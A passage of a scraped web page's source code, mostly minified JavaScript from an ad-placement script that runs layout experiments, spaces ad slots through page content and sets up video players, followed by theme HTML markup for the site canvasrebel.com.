F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment variants found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)}}
993,Dt=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,``),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`string`),s(this,`key`,H.AdLayout),s(this,`abgroup`,H.AdLayout),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to empty class name.`),``;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSAdLayoutSiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to empty class name.`),``)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:t}))}},Ot=class extends Et{constructor(e){super(),s(this,`_choices`,[]),s(this,`_mappedChoices`,[]),s(this,`_result`,`control`),s(this,`_clsSiteExperiments`,void 0),s(this,`_resultValidator`,e=>typeof e==`number`),s(this,`key`,H.AdDensity),s(this,`abgroup`,H.AdDensity),this._clsSiteExperiments=new wt(e),this.experimentConfig=this._clsSiteExperiments.getSiteExperimentByKey(this.key),this.enabled&&this.experimentConfig&&(this._choices=this.experimentConfig.variants,this._mappedChoices=this._mapChoices(),this._result=this.run(),e.setWeightedChoiceExperiment(this.abgroup,this._result,!0))}get result(){return this._result}run(){return pt(this,()=>{if(!this.enabled)return F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;let e=new V(this._mappedChoices).get();return this._isValidResult(e)?e:(F.error(`CLSTargetAdDensitySiteExperiment`,`run`,`() => %o`,`Invalid result from experiment choices. Defaulting to control.`),`control`)})}_mapChoices(){return this._choices.map(({weight:e,value:t})=>({weight:e,choice:typeof t==`number`?(t||0)/100:`control`}))}},kt=class{constructor(){s(this,`_clsOptions`,new c),s(this,`shouldUseCoreExperimentsConfig`,!1)}setExperimentKey(e=!1){this._clsOptions.setExperiment(this.abgroup,this.result,e)}},At=class extends kt{constructor(){super(),s(this,`key`,`SMRA`),s(this,`abgroup`,`smra1`),s(this,`_result`,!1),D()&&(this._result=this.run(),this.setExperimentKey())}run(){return new u(.05).get()}get result(){return this._result}};let Q=`250px`;var jt=class{constructor(t,n){this._clsOptions=t,this._adInjectionMap=n,s(this,`_recipeCount`,0),s(this,`_mainContentHeight`,0),s(this,`_mainContentDiv`,null),s(this,`_totalAvailableElements`,[]),s(this,`_densityElementCoords`,void 0),s(this,`_minDivHeight`,250),s(this,`_densityDevice`,I.Desktop),s(this,`_pubLog`,{onePerViewport:!1,targetDensity:0,targetDensityUnits:0,combinedMax:0}),s(this,`_smallerIncrementAttempts`,0),s(this,`_absoluteMinimumSpacingByDevice`,250),s(this,`_usedAbsoluteMinimum`,!1),s(this,`_infPageEndOffset`,0),s(this,`locationMaxLazySequence`,new Map([[e.Recipe,5]])),s(this,`locationToMinHeight`,{Below_Post:Q,Content:Q,Recipe:Q,Sidebar:Q}),s(this,`_device`,void 0),s(this,`_smallMobileRecipeAdsExperimentEnabled`,void 0),s(this,`_clsTargetAdDensitySiteExperiment`,void 0);let{tablet:r,desktop:i}=this._clsOptions.siteAds.breakpoints;this._device=Ie(r,i),this._smallMobileRecipeAdsExperimentEnabled=new At().result,this._isSmallMobileRecipeAdLocation(e.Recipe)&&(this.locationToMinHeight.Recipe=`100px`),this._clsTargetAdDensitySiteExperiment=this._clsOptions.siteAds.siteExperiments?new Ot(this._clsOptions):null}start(){try{var e;De(this._device);let n=new Dt(this._clsOptions);if(n.enabled){let e=n.result,t=e.startsWith(`.`)?e.substring(1):e;if(Ye(t))try{document.body.classList.add(t)}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,`Uncaught CSS Class error: ${e}`)}else F.error(`ClsDynamicAdsInjector`,`start`,`Invalid class name: ${t}`)}let r=Ce(this._device,this._clsOptions.siteAds).filter(e=>this._locationEnabled(e)).filter(e=>Te(e,this._device)).filter(e=>Ee(e)),i=this.inject(r),a=this._clsOptions.siteAds.adOptions.stickyContainerConfig;if(!(a==null||(e=a.content)==null)&&e.enabled&&!B(a.blockedSelectors||[],this._logInvalidBlockedSelector.bind(this))){var t;qe(a==null||(t=a.content)==null?void 0:t.minHeight)}
993i.forEach(e=>this._clsOptions.setInjectedSlots(e))}catch(e){F.error(`ClsDynamicAdsInjector`,`start`,e)}}inject(t,n=document){this._densityElementCoords=void 0,this._densityDevice=this._device===`desktop`?I.Desktop:I.Mobile,this._overrideDefaultAdDensitySettingsWithSiteExperiment();let r=this._clsOptions.siteAds,i=k(r.adDensityEnabled,!0),a=r.adDensityLayout&&i,o=t.filter(t=>a?t.location!==e.Content:t),s=t.filter(t=>a?t.location===e.Content:null),c=s.length?this._preserveDensityMeasurements(s,n):!1;return this._capturePreSlotInsertionPageAreaMeasurement(),[...o.length?this._injectNonDensitySlots(o,n):[],...s.length?this._injectDensitySlots(s,n,c):[]]}_injectNonDensitySlots(t,n=document){var r;let i=[],a=[],o=!1;if(t.some(t=>t.location===e.Recipe&&t.sticky)&&!B(((r=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:r.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))){var s,c;let t=this._clsOptions.siteAds.adOptions.stickyContainerConfig;Je(this._isSmallMobileRecipeAdLocation(e.Recipe)?100:this._device===`phone`?t==null||(s=t.recipeMobile)==null?void 0:s.minHeight:t==null||(c=t.recipeDesktop)==null?void 0:c.minHeight),o=!0}for(let e of t)this._insertNonDensityAds(e,i,a,n);return o||a.forEach(({location:e,element:t})=>{t.style.minHeight=this.locationToMinHeight[e]}),i}_isSmallMobileRecipeAdLocation(e){return this._smallMobileRecipeAdsExperimentEnabled&&A(e,this._device)}_injectDensitySlots(e,t=document,n=!1){try{n||(this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords())}catch{return[]}let{onePerViewport:r,targetAll:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=this._getDensitySettings(e,t);return this._absoluteMinimumSpacingByDevice=r?window.innerHeight:this._absoluteMinimumSpacingByDevice,s?(this._adInjectionMap.filterUsed(),this._findElementsForAds(s,r,i,o,a,t),this._insertAds()):[]}_preserveDensityMeasurements(e,t=document){try{return this._calculateMainContentHeightAndAllElements(e,t),this._capturePreSlotInsertionMainContentMeasurement(),this._captureDensityElementCoords(),!0}catch{return!1}}_overrideDefaultAdDensitySettingsWithSiteExperiment(){var e;if((e=this._clsTargetAdDensitySiteExperiment)!=null&&e.enabled){let e=this._clsTargetAdDensitySiteExperiment.result;typeof e==`number`&&(this._clsOptions.siteAds.adDensityEnabled=!0,this._clsOptions.siteAds.adDensityLayout[this._densityDevice].adDensity=e)}}_getDensitySettings(e,t=document){let{onePerViewport:n,targetAll:r,targetDensity:i,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}=Ne({settings:this._clsOptions.siteAds.adDensityLayout,densityDevice:this._densityDevice,dynamicAds:e,target:t,totalAvailableElements:this._totalAvailableElements.length,mainContentHeight:this._mainContentHeight,minDivHeight:this._minDivHeight,recipeCount:this._recipeCount,selectorContext:this._getDynamicAdSelectorContext.bind(this),onInvalidSelector:({selector:e,selectorType:t,source:n,context:r,error:i})=>{}});return this._pubLog={onePerViewport:n,targetDensity:i,targetDensityUnits:a,combinedMax:o},{onePerViewport:n,targetAll:r,targetDensityUnits:a,combinedMax:o,numberOfUnits:s}}_elementLargerThanMainContent(e){return e.offsetHeight>=this._mainContentHeight&&this._totalAvailableElements.length>1}_elementDisplayNone(e){let t=window.getComputedStyle(e,null).display;return t&&t===`none`||e.style.display===`none`}_isBelowMaxes(e,t){return this._adInjectionMap.map.length<e&&this._adInjectionMap.map.length<t}_findElementsForAds(e,t,n,r,i,a=document){this._clsOptions.targetDensityLog={onePerViewport:t,combinedMax:r,targetDensityUnits:i,targetDensityPercentage:this._pubLog.targetDensity,mainContentHeight:this._mainContentHeight,recipeCount:this._recipeCount,numberOfEls:this._totalAvailableElements.length};let o=t=>{for(let{dynamicAd:o,element:s}of this._totalAvailableElements)if(this._logDensityInfo(s,o.elementSelector,t),!(!n&&this._elementLargerThanMainContent(s)||this._elementDisplayNone(s)))if(this._isBelowMaxes(r,i)){if(this._checkElementSpacing({dynamicAd:o,element:s,insertEvery:t,targetAll:n,target:a}),this._hasReachedQuota(e))return}else break;this._hasReachedQuota(e)||!this._usedAbsoluteMinimum&&this._smallerIncrementAttempts<5&&(++this._smallerIncrementAttempts,o(this._getSmallerIncrement(t)))};o(this._getInsertEvery(e,t,i))}_hasReachedQuota(e){return this._adInjectionMap.map.length>=e}_getSmallerIncrement(e){let t=Fe(e,this._absoluteMinimumSpacingByDevice);return this._usedAbsoluteMinimum=t.usedAbsoluteMinimum,t.insertEvery}
993_insertNonDensityAds(t,n,r,i=document){let{spacing:a,nextAfter:o}=Me(t.spacing,window.innerHeight),s=0,c=this._repeatDynamicAds(t),l=this.getElements(t.elementSelector,i,t),u=this._shouldUseRegularSlotHeightForSpacing(t),d=a>0&&u?this._getElementSpacingBottoms(l):new Map,f=0;t.skip;for(let p=t.skip;p<l.length&&!(s+1>c.length);p+=t.every){let m=l[p];if(a>0){let e=u?(d.get(m)??R(m).bottom)+f:R(m).bottom;if(e<=o)continue;o=e+a}let h=c[s],g=`${h.location}_${h.sequence}`;n.some(e=>e.name===g)&&(s+=1);let _=this.getDynamicElementId(h),v=L(t),y=Oe(t),b=t.location===e.Sidebar&&t.sticky?Ke(h.sequence):``,ee=[t.location===e.Recipe&&t.sticky?`adthrive-recipe-sticky-container`:``,v,y,...t.classNames];if(Xe(m,t.position,t.location)&&t.location===e.Recipe)continue;let x=this.addAd(m,_,t.position,ee,b);if(x){let a=we(h,x);if(a.length){let o={clsDynamicAd:t,dynamicAd:h,element:x,sizes:a,name:g,infinite:i!==document};n.push(o),r.push({location:h.location,element:x}),t.location===e.Recipe&&++this._recipeCount,s+=1,u&&(f+=this._getRegularSlotSpacingHeight(h.location))}m=b&&x.parentElement||x}}}_shouldUseRegularSlotHeightForSpacing(t){var n;return t.location===e.Recipe&&t.sticky&&!B(((n=this._clsOptions.siteAds.adOptions.stickyContainerConfig)==null?void 0:n.blockedSelectors)||[],this._logInvalidBlockedSelector.bind(this))}_getElementSpacingBottoms(e){return Array.from(e).reduce((e,t)=>(e.set(t,R(t).bottom),e),new Map)}_getRegularSlotSpacingHeight(e){let t=parseInt(this.locationToMinHeight[e],10);return Number.isFinite(t)?t:this._minDivHeight}_insertAds(){let e=[],t=0;return this._adInjectionMap.filterUsed(),this._adInjectionMap.map.forEach(({el:n,dynamicAd:r,target:i},a)=>{let o=Number(r.sequence)+a,s=r.max,c=r.lazy&&o>s;r.sequence=o,r.lazy=c;let l=this._addContentAd(n,r,i);l&&(r.used=!0,e.push(l),++t)}),e}_getInsertEvery(e,t,n){let r=Pe({totalAvailableElements:this._totalAvailableElements.length,targetDensityUnits:n,numberOfUnits:e,mainContentHeight:this._mainContentHeight,absoluteMinimumSpacing:this._absoluteMinimumSpacingByDevice,viewportHeight:window.innerHeight,onePerViewport:t});return this._usedAbsoluteMinimum=r.usedAbsoluteMinimum,r.insertEvery}_logDensityInfo(e,t,n){let{onePerViewport:r,targetDensity:i,targetDensityUnits:a,combinedMax:o}=this._pubLog;this._totalAvailableElements.length}_checkElementSpacing({dynamicAd:e,element:t,insertEvery:n,targetAll:r,target:i}){(this._isFirstAdInjected()||this._hasProperSpacing(t,e,r,n))&&this._markSpotForContentAd(t,{...e},i)}_isFirstAdInjected(){return!this._adInjectionMap.map.length}_markSpotForContentAd(e,t,n=document){let r=t.position===`beforebegin`||t.position===`afterbegin`;this._adInjectionMap.addSorted(e,this._getElementCoords(e,r),t,n)}_hasProperSpacing(t,n,r,i){let a=n.position===`beforebegin`||n.position===`afterbegin`,o=n.position===`beforeend`||n.position===`afterbegin`,s=r||this._isElementFarEnoughFromOtherAdElements(t,i,a),c=o||this._isElementNotInRow(t,a),l=t.id.indexOf(`AdThrive_${e.Below_Post}`)===-1;return s&&c&&l}_isElementFarEnoughFromOtherAdElements(e,t,n){let r=this._getElementCoords(e,n),[i,a]=this._adInjectionMap.findNeighborIndices(r),o=i===null?void 0:this._adInjectionMap.map[i].coords,s=a===null?void 0:this._adInjectionMap.map[a].coords;return(o===void 0||r-t>o)&&(s===void 0||r+t<s)}_isElementNotInRow(e,t){let n=e.previousElementSibling,r=e.nextElementSibling,i=t?!n&&r||n&&e.tagName!==n.tagName?r:n:r;if(!i)return!0;let a=e.getBoundingClientRect();if(a.height===0)return!0;let o=i.getBoundingClientRect();return a.top!==o.top}_calculateMainContentHeightAndAllElements(e,t=document){let[n,r]=Ve(e,this._adInjectionMap,t);if(!n)throw Error(`No main content element found`);this._mainContentDiv=n,this._totalAvailableElements=r,this._mainContentHeight=He(this._mainContentDiv)}_captureDensityElementCoords(){this._densityElementCoords=this._totalAvailableElements.reduce((e,{element:t})=>(e.set(t,{bottom:this._getLiveElementCoords(t),top:this._getLiveElementCoords(t,!0)}),e),new WeakMap)}_capturePreSlotInsertionMainContentMeasurement(){window.adthriveCLS&&(window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.mainContentHeight=this._mainContentHeight:window.adthriveCLS.preSlotInsertionMeasurements={mainContentHeight:this._mainContentHeight})}_capturePreSlotInsertionPageAreaMeasurement(){if(window.adthriveCLS){let e=Ue()*We();window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.totalPageArea=e:window.adthriveCLS.preSlotInsertionMeasurements={totalPageArea:e}}}_getElementCoords(e,t=!1){var n;let r=(n=this._densityElementCoords)==null?void 0:n.get(e);return r?t?r.top:r.bottom:this._getLiveElementCoords(e,t)}_getLiveElementCoords(e,t=!1){let n=e.getBoundingClientRect();return(t?n.top:n.bottom)+window.scrollY}_addContentAd(e,t,n=document){var r;let i=null,a=L(t),o=Oe(t),s=this._clsOptions.siteAds.adOptions.stickyContainerConfig,c=s==null||(r=s.content)==null?void 0:r.enabled,l=c?`adthrive-sticky-container`:``,u=this.addAd(e,this.getDynamicElementId(t),t.position,[l,a,o,...t.classNames]);if(u){let e=we(t,u);if(e.length){var d;(!c||!(!(s==null||(d=s.content)==null)&&d.minHeight))&&(u.style.minHeight=this.locationToMinHeight[t.location]),i={clsDynamicAd:t,dynamicAd:t,element:u,sizes:e,name:`${t.location}_${t.sequence}`,infinite:n!==document}}}return i}getDynamicElementId(e){return`AdThrive_${e.location}_${e.sequence}_${this._device}`}getElements(e,t=document,n){let r=j(e,t);return r.valid,r.elements}_getDynamicAdSelectorContext(e){return{location:e.location,sequence:e.sequence,name:e.name}}_logInvalidBlockedSelector(e,t){}addAd(e,t,n,r=[],i=``){if(!document.getElementById(t)){let a=`<div id="${t}" class="adthrive-ad ${r.join(` `)}"></div>`;i&&(a=`<div class="${i}">${a}</div>`),e.insertAdjacentHTML(n,a)}return document.getElementById(t)}_repeatDynamicAds(t){let n=[],r=t.location===e.Recipe?99:this.locationMaxLazySequence.get(t.location),i=t.lazy?k(r,0):0,a=t.max,o=t.lazyMax,s=i===0&&t.lazy?a+o:Math.min(Math.max(i-t.sequence+1,0),a+o),c=Math.max(a,s);for(let e=0;e<c;e++){let r=Number(t.sequence)+e,i=t.lazy&&e>=a,o=r;t.name===`Recipe_1`&&r>=5&&(o=r+1),n.push({...t,sequence:o,lazy:i})}return n}_locationEnabled(e){let t=this._clsOptions.enabledLocations.includes(e.location),n=this._clsOptions.disableAds&&this._clsOptions.disableAds.all||document.body.classList.contains(`adthrive-disable-all`),r=!document.body.classList.contains(`adthrive-disable-content`)&&!this._clsOptions.disableAds.reasons.has(`content_plugin`);return t&&!n&&r}},Mt=class{constructor(){s(this,`_map`,[])}add(e,t,n,r=document){this._map.push({el:e,coords:t,dynamicAd:n,target:r})}addSorted(e,t,n,r=document){let i=this._upperBoundIndex(t);this._map.splice(i,0,{el:e,coords:t,dynamicAd:n,target:r})}get map(){return this._map}sort(){this._map.sort(({coords:e},{coords:t})=>e-t)}filterUsed(){this._map=this._map.filter(({dynamicAd:e})=>!e.used)}findNeighborIndices(e){let t=this._upperBoundIndex(e);return[t-1>=0?t-1:null,t<this._map.length?t:null]}_upperBoundIndex(e){let t=0,n=this._map.length;for(;t<n;){let r=t+n>>>1;this._map[r].coords<=e?t=r+1:n=r}return t}reset(){this._map=[]}},Nt=class extends Mt{};let Pt=e=>{let t=ne(),n=T(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i},Ft=e=>{let t=Pt(e);if(t){let e=t.profileId;document.body.classList.add(`raptive-profile-${e}`)}},$={Video_Collapse_Autoplay_SoundOff:`Video_Collapse_Autoplay_SoundOff`,Video_Indiv
993idual_Autoplay_SOff:`Video_Individual_Autoplay_SOff`,Video_Coll_SOff_Smartphone:`Video_Coll_SOff_Smartphone`,Video_In_Post_ClicktoPlay_SoundOn:`Video_In-Post_ClicktoPlay_SoundOn`,Video_Collapse_Autoplay_SoundOff_15s:`Video_Collapse_Autoplay_SoundOff_15s`,Video_Individual_Autoplay_SOff_15s:`Video_Individual_Autoplay_SOff_15s`,Video_Coll_SOff_Smartphone_15s:`Video_Coll_SOff_Smartphone_15s`,Video_In_Post_ClicktoPlay_SoundOn_15s:`Video_In-Post_ClicktoPlay_SoundOn_15s`};var It=class{get enabled(){throw Error(`Enablement must be defined at factory creation time.`)}};let Lt=(e=navigator.userAgent)=>E(e)===`desktop`;var Rt=class extends It{constructor(e,t,n){super(),this._videoConfig=e,this._component=t,this._context=n,s(this,`_potentialPlayerMap`,void 0),s(this,`_device`,void 0),s(this,`_stickyRelatedOnPage`,!1),s(this,`_relatedMediaIds`,[]),this._device=Lt()?`desktop`:`mobile`,this._potentialPlayerMap=this.setPotentialPlayersMap()}setPotentialPlayersMap(){let e=this._videoConfig.players||[],t=this._filterPlayerMap();return t.stationaryRelated=this._getPotentialStationaryPlayers(e,t.stationaryRelated),this._potentialPlayerMap=t,this._potentialPlayerMap}_getPotentialStationaryPlayers(e,t){let n=new Set(t);return e.forEach(e=>e.type===`stationaryRelated`&&e.enabled&&n.add(e)),[...n]}_filterPlayerMap(){let e=this._videoConfig.players,t={stickyRelated:[],stickyPlaylist:[],stationaryRelated:[]};return e&&e.length?e.filter(e=>{var t;return(t=e.devices)==null?void 0:t.includes(this._device)}).reduce((e,t)=>{if(e[t.type]||(F.event(this._component,`constructor`,`Unknown Video Player Type detected`,t.type),e[t.type]=[]),t.enabled){let n=t.type;this._videoConfig.shouldDisableStickyRelated&&t.type===`stickyRelated`&&(n=`stationaryRelated`),e[n].push(t)}return e},t):t}_checkPlayerSelectorOnPage(e){for(let t of this._potentialPlayerMap[e]){let e=this._getPlacementElement(t);if(e)return{player:t,playerElement:e}}return{player:null,playerElement:null}}_getOverrideElement(e,t,n){if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}else{let{player:e,playerElement:t}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}}return n}_shouldOverrideElement(e){let t=e.getAttribute(`override-embed`);return t===`true`||t===`false`?t===`true`:this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.overrideEmbedLocation:!1}_checkPageSelector(e,t,n=[]){return e&&t&&n.length===0?(window.location.pathname!==`/`&&F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`PSNF: ${e} does not exist on the page`}),!1):!0}_getElementSelector(e,t,n){return t&&t.length>n?t[n]:(F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`ESNF: ${e} does not exist on the page`}),null)}_getPlacementElement(e){let{pageSelector:t,elementSelector:n,skip:r}=e,{valid:i,elements:a,...o}=P(t),{valid:s,elements:c,...l}=N(n);return t!==``&&!i?(F.error(`VideoUtils`,`getPlacementElement`,Error(`${t} is not a valid selector`),o),null):s?this._checkPageSelector(t,i,a)&&this._getElementSelector(n,c,r)||null:(F.error(`VideoUtils`,`getPlacementElement`,Error(`${n} is not a valid selector`),l),null)}_getEmbeddedPlayerType(e){if(this._videoConfig.shouldDisableStickyRelated)return`static`;let t=e.getAttribute(`data-player-type`);return(!t||t==="default")&&(t=this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.defaultPlayerType:`static`),this._stickyRelatedOnPage&&(t=`static`),t}_getMediaId(e){let t=e.getAttribute(`data-video-id`);return t?(this._relatedMediaIds.push(t),t):!1}_getOrientation(e){return e.getAttribute(`orientation`)===`vertical`?`vertical`:`horizontal`}_createRelatedPlayer(e,t,n,r,i){t===`collapse`?this._createCollapsePlayer(e,n):t===`static`&&this._createStaticPlayer(e,n,r,i)}_createCollapsePlayer(e,t){let{player:n,playerElement:r}=this._checkPlayerSelectorOnPage(`stickyRelated`),i=n||this._potentialPlayerMap.stationaryRelated[0];i&&i.playerId&&!this._videoConfig.shouldDisableStickyRelated?(this._shouldOverrideElement(t)&&(t=this._getOverrideElement(n,r,t)),t=document.querySelector(`#cls-v
993ideo-container-${e} > div`)||t,this._createStickyRelatedPlayer({...i,mediaId:e},t)):F.error(this._component,`_createCollapsePlayer`,`No video player found`)}_createStaticPlayer(e,t,n,r){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId){let i=this._potentialPlayerMap.stationaryRelated[0];this._createStationaryRelatedPlayer({...i,mediaOrPlaylistId:e,orientation:r},t,n)}else F.error(this._component,`_createStaticPlayer`,`No video player found`)}_shouldRunAutoplayPlayers(){return!!(this._isVideoAllowedOnPage()&&(this._potentialPlayerMap.stickyRelated.length||this._potentialPlayerMap.stickyPlaylist.length))}_setPlaylistMediaIdWhenStationaryOnPage(e,t){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId&&e&&e.length){let n=e[0].getAttribute(`data-video-id`);return n?{...t,mediaId:n}:t}return t}_determineAutoplayPlayers(e){let t=this._component,n=t===`VideoManagerComponent`,r=this._context;if(this._stickyRelatedOnPage){F.event(t,`stickyRelatedOnPage`,n&&{device:r&&r.device,isDesktop:this._device}||{});return}let{playerElement:i}=this._checkPlayerSelectorOnPage(`stickyPlaylist`),{player:a}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);a&&a.playerId&&i?(a=this._setPlaylistMediaIdWhenStationaryOnPage(e,a),this._createPlaylistPlayer(a,i)):Math.random()<.01&&setTimeout(()=>{F.event(t,`noStickyPlaylist`,n&&{vendor:`none`,device:r&&r.device,isDesktop:this._device}||{})},1e3)}_initializeRelatedPlayers(e){let t=new Map;for(let n=0;n<e.length;n++){let r=e[n],i=r.offsetParent,a=this._getEmbeddedPlayerType(r),o=this._getMediaId(r),s=this._getOrientation(r);if(i&&o){let e=(t.get(o)||0)+1;t.set(o,e),this._createRelatedPlayer(o,a,r,e,s)}}}},zt=class extends Rt{constructor(e,t){super(e,`ClsVideoInsertion`),this._videoConfig=e,this._clsOptions=t,s(this,`_IN_POST_SELECTOR`,`.adthrive-video-player`),s(this,`_WRAPPER_BAR_HEIGHT`,36),s(this,`_playersAddedFromPlugin`,[]),t.removeVideoTitleWrapper&&(this._WRAPPER_BAR_HEIGHT=0)}init(){this._initializePlayers()}_wrapVideoPlayerWithCLS(e,t,n=0,r=`horizontal`){if(e.parentNode){let i=e.offsetWidth,a=r===`vertical`;a&&this._device===`desktop`&&(i*=.5);let o=i*(a?16/9:9/16),s=this._createGenericCLSWrapper(o,t,n);return e.parentNode.insertBefore(s,e),s.appendChild(e),s}return null}_createGenericCLSWrapper(e,t,n){let r=document.createElement(`div`);return r.id=`cls-video-container-${t}`,r.className=`adthrive`,r.style.minHeight=`${e+n}px`,r}_getTitleHeight(){let e=document.createElement(`h3`);e.style.margin=`10px 0`,e.innerText=`Title`,e.style.visibility=`hidden`,document.body.appendChild(e);let t=window.getComputedStyle(e),n=parseInt(t.height,10),r=parseInt(t.marginTop,10),i=parseInt(t.marginBottom,10);return document.body.removeChild(e),Math.min(n+i+r,50)}_initializePlayers(){let e=document.querySelectorAll(this._IN_POST_SELECTOR);e.length&&this._initializeRelatedPlayers(e),this._shouldRunAutoplayPlayers()&&this._determineAutoplayPlayers(e)}_createStationaryRelatedPlayer(e,t,n){let r=this._device===`mobile`?[400,225]:[640,360],i=$.Video_In_Post_ClicktoPlay_SoundOn;if(t&&e.mediaOrPlaylistId){let a=`${e.mediaOrPlaylistId}_${n}`,o=this._wrapVideoPlayerWithCLS(t,a,0,e.orientation);this._playersAddedFromPlugin.push(e.mediaOrPlaylistId),o&&this._clsOptions.setInjectedVideoSlots({playerId:e.playerId,playerName:i,playerSize:r,element:o,type:`stationaryRelated`})}}_createStickyRelatedPlayer(e,t){if(this._videoConfig.shouldDisableStickyRelated)return;let n=this._device===`mobile`?[400,225]:[640,360],r=$.Video_Individual_Autoplay_SOff;if(this._stickyRelatedOnPage=!0,this._videoConfig.mobileStickyPlayerOnPage=this._device===`mobile`,this._videoConfig.collapsiblePlayerOnPage=!0,t&&e.position&&e.mediaId){let i=document.createElement(`div`);t.insertAdjacentElement(e.position,i);let a=this._getTitleHeight(),o=this._wrapVideoPlayerWithCLS(i,e.mediaId,this._WRAPPER_BAR_HEIGHT+a);this._playersAddedFromPlugin.push(e.mediaId),o&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:n,playerName:r,element:i,type:`stickyRelated`})}}_createPlaylistPlayer(e,t){let n=e.playlistId,r=this._device===`mobile`?$.Video_Coll_SOff_Smartphone:$.Video_Collapse_Autoplay_SoundOff,i=this._device===`mobile`?[400,225]:[640,360];this._videoConfig.mobileStickyPlayerOnPage=!0,this._videoConfig.collapsiblePlayerOnPage=!0;let a=document.createElement(`div`);t.insertAdjacentElement(e.position,a);let o=this._WRAPPER_BAR_HEIGHT;e.title&&(o+=this._getTitleHeight());let s=this._wrapVideoPlayerWithCLS(a,n,o);this._playersAddedFromPlugin.push(`playlist-${n}`),s&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:i,playerName:r,element:a,type:`stickyPlaylist`})}_isVideoAllowedOnPage(){let e=this._clsOptions.disableAds;if(e&&e.video){let t=``;e.reasons.has(`video_plugin`)?t=`video plugin`:e.reasons.has(`video_page`)&&(t=`command queue`);let n=t?`ClsVideoInsertionMigrated`:`ClsVideoInsertion`;return F.error(n,`isVideoAllowedOnPage`,Error(`DBP: Disabled by publisher via ${t||`other`}`)),!1}return!this._clsOptions.videoDisabledFromPlugin}};try{(()=>{let e=new c;
993!e||!e.enabled||(e.siteAds&&Ft(e.siteAds),new jt(e,new Nt).start(),new zt(new fe(e),e).init())})()}catch(e){F.error(`CLS`,`pluginsertion-iife`,e),window.adthriveCLS&&(window.adthriveCLS.injectedFromPlugin=!1)}})();</script>
993<script data-no-optimize="1" data-cfasync="false">(function () {var clsElements = document.querySelectorAll("script[id^='cls-']"); window.adthriveCLS && clsElements && clsElements.length === 0 ? window.adthriveCLS.injectedFromPlugin = false : ""; })();</script>
993<div id="left_panel_1" class="sc_layouts scheme_dark sc_layouts_panel sc_layouts_1709 sc_layouts_panel_left sc_layouts_effect_slide trx_addons_inline_1761151813" 994 data-delay="0" 995 data-panel-position="left" data-panel-effect="slide" data-panel-class="trx_addons_inline_1761151813" ><div class="sc_layouts_panel_inner"> <div data-elementor-type="cpt_layouts" data-elementor-id="1709" class="elementor elementor-1709" data-elementor-post-type="cpt_layouts"> 996 <section class="elementor-section elementor-top-section elementor-element elementor-element-13d38cc elementor-section-height-full elementor-section-items-stretch elementor-section-content-space-between elementor-section-boxed elementor-section-height-default sc_fly_static" data-id="13d38cc" data-element_type="section" data-e-type="section"> 997 <div class="elementor-container elementor-column-gap-extended"> 998 <div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-8633b4e sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="8633b4e" data-element_type="column" data-e-type="column"> 999 <div class="elementor-widget-wrap elementor-element-populated"> 1000 <section class="elementor-section elementor-inner-section elementor-element elementor-element-a8517b1 elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static" data-id="a8517b1" data-element_type="section" data-e-type="section"> 1001 <div class="elementor-container elementor-column-gap-extended"> 1002 <div class="elementor-column elementor-col-100 elementor-inner-column elementor-element elementor-element-d90b832 sc_layouts_column_align_center sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="d90b832" data-element_type="column" data-e-type="column"> 1003 <div class="elementor-widget-wrap elementor-element-populated"> 1004 <div class="elementor-element elementor-element-95a7fb3 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_logo" data-id="95a7fb3" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_logo.default"> 1005 <div class="elementor-widget-container"> 1006 <a href="https://canvasrebel.com/" 1007 